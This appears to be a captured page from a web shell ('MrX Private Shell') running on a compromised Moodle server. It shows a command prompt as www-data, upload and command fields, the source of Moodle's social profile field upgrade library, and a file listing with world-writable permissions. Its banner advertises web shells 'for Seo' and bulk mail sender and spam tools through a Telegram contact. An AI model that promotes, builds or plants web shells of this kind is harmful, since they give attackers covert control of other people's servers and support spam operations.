__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Contains upgrade and install functions for the social profile fields.
 *
 * @package    profilefield_social
 * @copyright  2020 Bas Brands <bas@moodle.com>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

defined('MOODLE_INTERNAL') || die();

require_once("$CFG->dirroot/user/profile/definelib.php");

/**
 * Create the default category for custom profile fields if it does not exist yet.
 *
 * @return int Category ID for social user profile category.
 */
function user_profile_social_create_info_category(): int {
    global $DB;

    $categories = $DB->get_records('user_info_category', null, 'sortorder ASC');
    // Check that we have at least one category defined.
    if (empty($categories)) {
        $defaultcategory = (object) [
            'name' => get_string('profiledefaultcategory', 'admin'),
            'sortorder' => 1
        ];
        return $DB->insert_record('user_info_category', $defaultcategory);
    } else {
        return (int)$DB->get_field_sql('SELECT min(id) from {user_info_category}');
    }
}

/**
 * Called on upgrade to create new profile fields based on the old user table columns
 * for icq, msn, aim, skype and url.
 *
 * @param string $social Social profile field.
 */
function user_profile_social_moveto_profilefield($social) {
    global $DB;

    $users = $DB->get_records_select('user', "$social IS NOT NULL AND $social != ''");
    if (count($users)) {
        $profilefield = user_profile_social_create_profilefield($social);
        foreach ($users as $user) {
            $userinfodata = [
                'userid' => $user->id,
                'fieldid' => $profilefield->id,
                'data' => $user->$social,
                'dataformat' => 0
            ];
            $user->$social = '';
            $DB->update_record('user', $user);
            $DB->insert_record('user_info_data', $userinfodata);
        }
    }
}

/**
 * Create an new custom social profile field if it does not exist
 *
 * @param string $social Social profile field.
 * @return object DB record or social profield field.
 */
function user_profile_social_create_profilefield($social) {
    global $DB, $CFG;

    $hiddenfields = explode(',', $CFG->hiddenuserfields);
    $confignames = [
        'url' => 'webpage',
        'icq' => 'icqnumber',
        'skype' => 'skypeid',
        'yahoo' => 'yahooid',
        'aim' => 'aimid',
        'msn' => 'msnid',
    ];
    $visible = (in_array($confignames[$social], $hiddenfields)) ? 3 : 2;

    $categoryid = user_profile_social_create_info_category();

    $newfield = (object)[
        'shortname' => $social,
        'name' => $social,
        'datatype' => 'social',
        'description' => '',
        'descriptionformat' => 1,
        'categoryid' => $categoryid,
        'required' => 0,
        'locked' => 0,
        'visible' => $visible,
        'forceunique' => 0,
        'signup' => 0,
        'defaultdata' => '',
        'defaultdataformat' => 0,
        'param1' => $social
    ];

    $profilefield = $DB->get_record_sql(
        'SELECT * FROM {user_info_field} WHERE datatype = :datatype AND ' .
        $DB->sql_compare_text('param1') . ' = ' . $DB->sql_compare_text(':social', 40),
        ['datatype' => 'social', 'social' => $social]);

    if (!$profilefield) {

        // Find a new unique shortname.
        $count = 0;
        $shortname = $newfield->shortname;
        while ($field = $DB->get_record('user_info_field', array('shortname' => $shortname))) {
            $count++;
            $shortname = $newfield->shortname . '_' . $count;
        }
        $newfield->shortname = $shortname;

        $profileclass = new profile_define_base();
        $profileclass->define_save($newfield);
        profile_reorder_fields();

        $profilefield = $DB->get_record_sql(
            'SELECT * FROM {user_info_field} WHERE datatype = :datatype AND ' .
            $DB->sql_compare_text('param1') . ' = ' . $DB->sql_compare_text(':social', 40),
            ['datatype' => 'social', 'social' => $social]);
    }
    if (!$profilefield) {
        throw new moodle_exception('upgradeerror', 'admin', 'could not create new social profile field');
    }
    return $profilefield;
}

/**
 * Update the module availability configuration for all course modules
 *
 */
function user_profile_social_update_module_availability() {
    global $DB;
    // Use transaction to improve performance if there are many individual database updates.
    $transaction = $DB->start_delegated_transaction();
    // Query all the course_modules entries that have availability set.
    $rs = $DB->get_recordset_select('course_modules', 'availability IS NOT NULL', [], '', 'id, availability');
    foreach ($rs as $mod) {
        if (isset($mod->availability)) {
            $availability = json_decode($mod->availability);
            if (!is_null($availability)) {
                user_profile_social_update_availability_structure($availability);
                $newavailability = json_encode($availability);
                if ($newavailability !== $mod->availability) {
                    $mod->availability = json_encode($availability);
                    $DB->update_record('course_modules', $mod);
                }
            }
        }
    }
    $rs->close();
    $transaction->allow_commit();
}

/**
 * Loop through the availability info and change all move standard profile
 * fields for icq, skype, aim, yahoo, msn and url to be custom profile fields.
 * @param mixed $structure The availability object.
 */
function user_profile_social_update_availability_structure(&$structure) {
    if (is_array($structure)) {
        foreach ($structure as $st) {
            user_profile_social_update_availability_structure($st);
        }
    }
    foreach ($structure as $key => $value) {
        if ($key === 'c' && is_array($value)) {
            user_profile_social_update_availability_structure($value);
        }
        if ($key === 'type' && $value === 'profile') {
            if (isset($structure->sf) && in_array($structure->sf,
                ['icq', 'skype', 'aim', 'yahoo', 'msn', 'url'])) {
                $structure->cf = $structure->sf;
                unset($structure->sf);
            }
        }
    }
}

Filemanager

Name Type Size Permission Actions
classes Folder 0777
lang Folder 0777
tests Folder 0777
define.class.php File 3.35 KB 0777
field.class.php File 2.64 KB 0777
upgradelib.php File 6.78 KB 0777
version.php File 1.03 KB 0777
Filemanager